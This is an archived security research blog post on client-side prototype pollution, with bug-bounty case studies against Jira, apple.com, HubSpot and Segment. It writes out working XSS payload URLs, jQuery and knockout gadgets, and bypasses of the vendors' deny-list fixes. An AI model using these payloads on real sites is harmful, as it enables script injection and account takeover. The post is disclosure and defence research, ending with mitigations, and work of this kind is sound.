s1r1us - Prototype Pollution

s1r1us - Prototype Pollution - Sergey Bobrov, Mohan Sri Rama Krishna P, Terjanq, Beomjin Lee, Masato Kinugawa, Nikita Stupin, Rahul Maini, Harsh Jaiswal, Mikhail Egorov, Melar Dev, blog.s1r1us.ninja.

- Published: date not stated
- Original: <https://blog.s1r1us.ninja/research/PP>
- Preserved from: https://blog.s1r1us.ninja/research/PP (stored) on 2026-08-11
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

s1r1us - Prototype Pollution

Skip to navigation

"A tale of making internet pollution free"

- Exploiting Client-Side Prototype Pollution in the wild

Introduction

Prototype pollution is an interesting vulnerability, either it is server-side or client-side. Based on the application logic, prototype pollution leads to other vulnerabilities. For instance, posix introduced an interesting technique to achieve RCE in the template engines, Michał Bentkowski showed bypassing client-side HTML sanitizers and William Bowling's found a Reflected XSS on HackerOne using prototype pollution. From RCE to SQL, any vulnerability is possible with the prototype pollution in the javascript application.

[image: I've got a nice art(inspired by portswigger research :xD)]

In this research, our goal was simple which is to scan all the vulnerability disclosure programs for prototype pollution and find script gadgets to achieve XSS. This technical write-up will touch the tools we created, challenges we faced, and case studies during the whole process.

A lot of people are involved in this work, it was really a great experience working with these super awesome people.

Research Team

-

Sergey Bobrov Black2Fan

-

Mohan Sri Rama Krishna P s1r1us

-

Terjanq terjanq

-

Beomjin Lee posix

-

Masato Kinugawa kinugawamasato

-

Nikita Stupin nikitastupin

-

Rahul Maini iamnoooob

-

Harsh Jaiswal rootxharsh

-

Mikhail Egorov 0ang3el

-

Melar Dev melardev

Thanks to other researchers

-

Michał Bentkowski SecurityMB

-

Filedescriptor filedescriptor

-

Olivier *holyvier*

-

William Bowling wcbowling

-

Ian Bouchard corb3nik

Numbers

Number of vulnerable libraries found: 18

Number of bugs reported to vulnerability disclosure programs: ~80

We found numerous(more than thousand) websites vulnerable to pollution, we haven't reported them because of not having gadgets or VDPs.

If you don't want to know the methodology, feel free to skip to the case studies(real bugs).

Methodology

[image: image]

Detection

There are two cases we are interested in a web application to check if it is vulnerable to prototype pollution.

Case 1

In the first case, we want to check if an application is parsing query/hash parameters and check if it is polluting prototype in the process. We've found that 80% of nested parameter parsers are vulnerable to prototype pollution.

Let's assume the web applications use canjs-deparam library to parse the query parameter. As you can see in the code below, it creates an empty Object and adds key-value pair. Obviously, this leads to prototype pollution if we requested the requested URL is [https://victim.com/#a=b&**proto**[admin]=1](https://victim.com/#**proto**[polluted]=1).

[image: image]

Proof-of-Concept for the canjs-deparam query parsing

As you've already guessed, it's easy to identify if an application has vulnerable prototype pollution parsers by iterating over different prototype pollution payloads in the location.hash and location.search.

Following are the different variations of query string which may when parsed leads to pollution.

x[**proto**][abaeead] = abaeead

x.**proto**.edcbcab = edcbcab

proto[eedffcb] = eedffcb

proto.baaebfc = baaebfc

Selenium Bot

To automate this, we wrote a selenium bot that runs on a huge subdomains database and checks if the application is vulnerable. Check the basic example of the bot.

Browser Extension

One issue with the bot is we can't scan directories and authorized endpoints of an application because the database becomes very large and it takes days to scan and most of the programs prohibit scanning. To overcome this issue, we wrote a chrome extension with the same logic as a bot but it scans when a user visits the particular endpoint in chrome. Using the extension, we can casually use the chrome and in the background, it scans for the prototype pollution. You can find the addon here.

Case 2

In this case, we want to check if there are any functionalities where user input or some data/response processing in the client-side leads to prototype pollution, most of the time this leads to self-XSS because the attacker can't control the input as in case 1 where input comes from the location. But it worth scanning, most of the time self-XSS can be converted to reflected-XSS.

This case is a little bit challenging to automate fortunately, CodeQL made things easier. We've chosen only the highest paying and top programs and dumped all the javascript files and created a CodeQL database and scanned for patterns that lead to prototype pollution.

We were able to find one application where user-controlled JSON is merged with another one which leads to prototype pollution and we scored a nice bounty for an XSS.

Identifying the vulnerable library

Once the bot identifies the vulnerable application, our next task is to identify the vulnerable library and the exact line where the prototype is polluted and store the result in the database. To identify, we've used few different techniques.

If the application is not complex, searching for keywords like location.hash/decodeURIComponent/location.search in Chrome Developer Tools will result in finding the exact functionality of vulnerable implementation.

Blocking the JS resource request in Firefox

There is a nice option called Block URL in Firefox developer tools network activity, so to find the js resource which is responsible for prototype pollution we block the URL and check if the polluted property is undefined. If it is undefined, we confirm the blocked resource is responsible for pollution.

[image: image]

Debugger Breakpoint on setter

This technique is easier than others, we can set a breakpoint when the property is set to Obect.prototype.

```
function breakpoint(obj, prop){

var tmp = obj[prop];

Object.defineProperty(obj, prop, {

set: function(val) {

debugger;

return tmp = val;

}

});

};
```

[image: image]

Finding Script Gadgets

What is a script gadget?

After a certain property is polluted, is there an application logic or functionality that can cause Javascript execution?

Let's see a simple example of script gadget we found in SwiftType Search library. The payload to achieve XSS is [https://example.com/#**proto**[xxx]=alert(1)] (https://example.com/#**proto**[xxx]=alert%281%29)

Below is the piece of code(script gadget) is responsible for popping alert, $.each iterates over the this._userServerConfiguration.install.hooks object along with properties on prototype which leads to our polluted property xxx being eval'ed.

```
each: function(t, e, i) {

/removed for brevity/

else

for (o in t)

if (r = e.call(t[o], o, t[o]),

r === !1)

break;

return t

}

pInstall._convertStringHooksToFunctions = function() {

var functionHooks = {};

$.each(this._userServerConfiguration.install.hooks, function(hookName, hookFunction) {

functionHooks[hookName] = eval(hookFunction)

}),

this._userServerConfiguration.install.hooks = functionHooks

}
```

Based on the application, we've used different techniques to find the script gadgets.

Keyword search and Source Code Review

If the application is simple, we can search for keywords like srcdoc/innerHTML/iframe/createElement and review the source code and check if it leads to javascript execution. Sometimes, mentioned techniques might not find gadgets at all. In that case, pure source code review reveals some nice gadgets like the below example.

BlackFan found this cool gadget in jQuery with source code review.

Gadget

```
<script/src=https://code.jquery.com/jquery-3.3.1.js></script>

<script>
```

Object.prototype.preventDefault='x'

Object.prototype.handleObj='x'

Object.prototype.delegateTarget='<img/src/onerror=alert(1)>'

/* No extra code needed for jQuery 1 & 2 */

$(document).off('foobar');

</script>

Here is the piece of code which is responsible for the gadget which is self explanatory.

https://github.com/jquery/jquery/blob/5c2d08704e289dd2745bcb0557b35a9c0e6af4a4/src/event.js#L798

if (types && types.preventDefault && types.handleObj) {

handleObj = types.handleObj;

jQuery(types.delegateTarget).off(

handleObj.namespace ?

handleObj.origType + "." + handleObj.namespace :

handleObj.origType,

handleObj.selector,

handleObj.handler

);

return this;

}

SecurityMB's pollute.js

We had written a burp extension around SecurityMB's pollute.js, which replaces all JS resources with the modified version generated by the pollute.js. Also, we modified pollute.js to log the information only if a certain property is polluted.

The basic idea of pollute.js is it instruments the code by adding debugs function around all the property access which logs the exact line of access when the Object.prototype property is accessed.

Check the addon below.

Note: The addon is not perfect, tmp.js might get overwritten it's better to use a random name there.

Filedescriptor's untrusted-types extension

untrusted-types logs DOM sinks by abusing trusted types, we check these DOM sinks if there are any properties that can be polluted and in turn, leads to XSS.

Let's see an example.

If you visit https://msrkp.github.io/ with the addon installed, you can notice an innerHTML sink in jQuery. Here wrapMap[tag] is undefined which means we can pollute "li" property of wrapMap with an array and the 1st or 2nd element will be injected into the page.

[image: image]

[image: image]

polluting "li" property leads to XSS

Similar to the filedescriptor's extension securitymb's pollute.js logs the similar stack traces and we have to review the source and check if it leads to XSS manually.

Report

Once the gadget is found we report the bug to the respective program.

Store vulnerable libraries and gadgets in database

We store all the vulnerable gadgets and libraries in a database.

After the database of vulnerable libraries and script, gadgets have been built, it can be used to facilitate the search and exploitation of Prototype Pollution.

For example, there are cases when a vulnerable library is present in JavaScript code but is executed under certain conditions. To cover such variants, libraries can be detected with regular expressions. Since the code can be modified by minification and assemble into one large JS file, search regular expressions should not be too strict and should use fragments that do not change during minification. For example, you can search for regular expressions that are used in query string processing.

To do this, a rule base was built that can detect vulnerable libraries in passive mode by analyzing HTTP responses using Burp's "Error Message Checks" or "Software Version Reporter" extensions.

The same functionality has been added to the chrome extension, it searches js resources with patterns mentioned in the database that leads to pollution. https://github.com/msrkp/PPScan.

[image: image]

passive search logging jQuery query-object vulnerable library in a web application.

Link to the burp addon: https://github.com/BlackFan/cspp-tools/tree/main/match_rules

Let's see a few of the interesting bugs we found.

Case Studies

Case Study 1: CodeQL for fun and profit

This is one of my favorite bugs, One evening I am working on my favorite bug bounty program, I was trying to find the pollution using the addon and the selenium bot. But neither of them showed any interesting results. So, I thought of using CodeQL to scan for the bug because the scope of the program is very large and it has numerous JS intensive applications.

I've passively scanned all the interesting applications and downloaded the JS files in a folder. Then, I created a CodeQL database and wrote a query with the help of queries available at https://github.com/github/codeql, but the problem I faced is that I have to write a query for every library's(basic deparam query I wrote can be found here) vulnerable code pattern which is not feasible. So I

started a discussion here asking for help, @asgerf from GHSecurity Lab came up with a general query which RemoteFlowSource or location.{hash,search} as Source and insecure property assignment as Sink. The downside of this query is that there should be a call to parser function. Anyway, I ran these queries on the JS database I created and hoping to find vulnerable merge calls or location parsers.

[image: image]

[image: image]

To my surprise, it showed a result where a vulnerable merge exists in the downloaded javascript files, and immediately I shared it in the discord. Then terjanq and I started working to exploit it. As pollution does not exist in location parsing, we have to find out which functionality pollutes the prototype.

-

Polluting prototype

After two days of hustle, we were able to pollute the prototype by sending a JSON payload to a certain endpoint which saves the payload, when the client receives the same payload the prototype gets polluted.

-

Finding a gadget

It took two more days to find the proper gadget initially, we found a javascript code execution in a Web Worker.

...

worker = new Worker(blobURL) //blobURL can be controlled with pollution

...

As the Web Worker can't directly manipulate the DOM, the impact of this XSS is very low(nothing?). After a lot of source code reviewing, we were able to find a proper gadget.

-

Escalation to Account Takeover.

As you may have already noticed this is a self XSS we have to show the impact. For one more day, we worked on escalating the self XSS to account take over by opening sensitive pages in iframes/windows and used SAML to login to our account(attacker) and read the data in sensitive pages to take over the account.

We nearly took a whole week to exploit the bug but in the end, we got a generous $4000 bounty.

Case Study 2: Prototype Pollution on Jira Service Management 4.16.0, <4.18.0(fix bypass)

We scanned all the private and public programs in HackerOne, Bugcrowd, and Intigriti using the selenium bot. There are numerous applications that have location parsing which leads to pollution, and most of the time the issue is either in third-party analytics services or using vulnerable libraries. We noticed a vulnerable site that has the domain jira.random.com/servicedesk/customer/user/requests?**proto**.x=11111. Out of curiosity, we looked

for Jira service management of various companies, BlackFan pulled a bunch of Jira service desks that are vulnerable to the same issue.

1. Root Cause for Pollution

Jira Service Management is using backbone query parameters which is vulnerable to prototype pollution.

1. Script Gadget for XSS

Posix came up with the following gadget which worked in all of the Jira sites.

Gadget: **proto**.isFresh=xxx&**proto**.onmousemove=alert(1)//&**proto**.onmousemove=1

Script:

...

for (m in d)

j.access(a, b, m, d[m], 1, g, e);

...

a.setAttribute(b, "" + d);

...

Below are a few other gadgets that are found using filedescriptor's untrusted types.

PoC #1

http://server/servicedesk/customer/user/signup?**proto**.preventDefault.**proto**.handleObj.**proto**.delegateTarget=%3Cimg/src/onerror=alert(1)%3E

PoC #2

http://server/servicedesk/customer/user/signup?**proto**.div=1&**proto**.div=<img%20src%20onerror=alert(1)>&**proto**.div=<img%20src%20onerror=alert(document.domain)>&**proto**.isFresh=xxx

PoC #3

http://server/servicedesk/customer/user/signup?**proto**.isFresh=xxx&**proto**.style=animation-name:spinnerRotateAnimation;//&**proto**.style=&**proto**.onanimationstart=alert(document.domain)//&**proto**.onanimationstart=

PoC #4

http://server/servicedesk/customer/user/signup?**proto**.js.main=data:,alert(document.domain)

XSS on jira.mozilla.com

One of the Mozilla domain which is using Jira is vulnerable to the same issue, we submitted the issue to Mozilla and they awarded $2000.

URL:

https://jira.mozilla.com/servicedesk/customer/user/signup?**proto**.id=xxx&**proto**.id=xxx&**proto**.isFresh=xxx&**proto**.onmousemove=alert(1)//&**proto**.onmousemove=1

Reporting the issue to Jira and bypassing the fix

We initially thought its an issue with one of the modules installed by the user, but later realized that the issue exists in all the self-hosted Jira < 4.16.0 sites. So, BlackFan submitted the issue to Jira and they awarded $600. Later Jira released a fix in the next version.

Fix Bypass by BlackFan

Jira fixed the issue by blacklisting the keys **proto**, constructor, and prototype but if you clearly notice the _setParamValue function the characters [] are removed from the key which means we can bypass the fix by using the key like **pro[]to**.

_extractParameters: function(route, fragment) {

...

if (queryString) {

var self = this;

iterateQueryString(queryString, function(name, value) {

if(name == '**proto**' || name == 'constructor' || name == 'prototype'){return} //fix

self._setParamValue(name, value, data);

...

_setParamValue: function(key, value, data) {

// use '.' to define hash separators

key = key.replace('[]', '');

key = key.replace('%5B%5D', '');

var parts = key.split('.');

...

},

Bypass: [https://local:8080/servicedesk/customer/user/signup?**pro[]to**.div=1&**pro[]to**.div=%3Cimg%20src%20onerror=alert(document.domain)%3E&**pro[]to**.div=1](https://local:8080/servicedesk/customer/user/signup?**pro[]to**.div=1&**pro[]to**.div=%3Cimg%20src%20onerror=alert%28document.domain%29%3E&**pro[]to**.div=1)

Case Study 3: XSS on apple.com found using chrome extension by Rahul and Harsh

-

Finding the bug

Rahul and Harsh were discussing ways to test prototype pollution within authenticated endpoints. They finalized on creating a chrome extension that they can use for these endpoints. They wrote a basic chrome extension that basically changes location.search/location.hash with prototype pollution payloads and checks if the prototype is polluted.

At that time, they were already working on Apple's program. So, The first thing they did was to start surfing through the pages of apple.com to test the addon. The extension popped the notification that there is prototype pollution at https://www.apple.com/shop/buy-watch/apple-wat

ch. For a second, We all believed it to be a false positive but it was indeed a true positive finding as the proto was indeed getting polluted.

-

Finding the gadget

We quickly found a gadget with the help of BlackFan's repo. And the final URL is,

[https://www.apple.com/shop/buy-watch/apple-watch?**proto**[src]=image&**proto**[onerror]=alert(1)](https://www.apple.com/shop/buy-watch/apple-watch?**proto**[src]=image&**proto**[onerror]=alert%281%29)

-

Root cause and Bypassing the fix

The pollution is in canJS-deparam library which Apple was using to parse the location.

Initially, Apple fixed the bug by checking if **proto** is in the property, as you may already know this can be bypassed using [constructor][prototype], so the final bypass URL would be [https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)](https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert%281%29).

We submitted the bypass to the fix, Apple fixed the bug by totally removing the location parsing.

And in the end, A nice $6000 bounty for a reflected XSS.

Case Study 4: HubSpot Analytics

HubSpot was vulnerable to prototype pollution, it was using deparam in one of the js files which parses the query string(location.search).

As mentioned on their site, HubSpot is used by more than 121,000 companies. We found numerous applications vulnerable to XSS because of the HubSpot third-party analytics they are using.

Reporting to HubSpot and Bypassing the fixes.

We submitted the vulnerability to HubSpot on Bugcrowd, they fixed the bug and said it is out of scope.

Bypasss #1:

Hubspot fixed the bug by blacklisting only **proto** key, so it can be bypassed by constructor[prototype][taint]=polluted, we reported the bypass and they fixed the bypass by creating a null Object.

hstc.utils.deparam = function(t, e) {

var n = Object.create(null)

Bypass #2 by Nikita Stupin:

Nikita Stupin found a cool bypass to the fix using the following payload

?**proto**=&0[taint]=polluted Please check the image on the right side to understand how the bypass works.

Elegant bypass isn't it?

[image: image]

They fixed the bypass by changing the lowercase to uppercase if the *_proto*, constructor, prototype exists in the key.

```
sanitizeKey = function(t) {
return t && ["proto", "constructor", "prototype"].indexOf(t.toLowerCase()) > -1 ? t.toUpperCase() : t
}
```

Case Study 5: Segment Analytics Pollution by Masato Kinugawa

Segment Analytics uses component querystring which is vulnerable to prototype pollution. This is interesting prototype pollution, the pollution only occurs if the property is Number.

?**proto**[123]=qwerty

Object.prototype[123]==qwerty //true

This is the code which is responsible for the pollution.

```
n.parse = function(e) {
if ("string" != typeof e)
return {};
e = o(e);
if ("" == e)
return {};
"?" == e.charAt(0) && (e = e.slice(1));
for (var t = {}, n = e.split("&"), i = 0; i < n.length; i++) {
var r, u = n[i].split("="), l = s(u[0]);
if (r = a.exec(l)) {
t[r[1]] = t[r[1]] || [];
t[r[1]][r[2]] = s(u[1])//////////////////Triggers the Prototype pollution!
} else
t[u[0]] = null == u[1] ? "" : s(u[1])
}
return t
}
```

Finding a gadget with just numbers pollution is very hard. We found that numerous bug bounty sites which are using component querystring or segment analytics are still vulnerable to pollution,

but without the gadget, there is no impact whatsoever. We couldn't achieve XSS in any of the applications vulnerable to this issue.

Trello is one example for this issue, you can notice Object.prototype[123] being polluted: [https://trello.com/?**proto**[123]=xx](https://trello.com/?**proto**[123]=xx)

There is one gadget using numbers found by the Securitymb in knockout.js, you will be so lucky if the vulnerable site uses knockout.js.

?**proto**[4]=a':1,[alert(1)]:1,'b&**proto**[5]=,

Mitigations

-

While merging two Objects or parsing the location and converting it to an Object, make sure to use a deny list of properties that contain the following **proto**, prototype, constructor , make sure the deny list check is just before the property being added to Object and don't make mistakes like Jira.

-

If the application is Node.js, you can use the command-line option --disable-proto which disables the Object.prototype.**proto** property.

-

It seems in the future, there will be a Document Policy that will provide a way to mitigate prototype pollution that will freeze Object.prototype(Object.freeze(Object.prototype))

Thanks for reading, I hope this article helps you to make internet pollution free .

See you in the next blog/talk? (spoiler: I already have cool research to show)
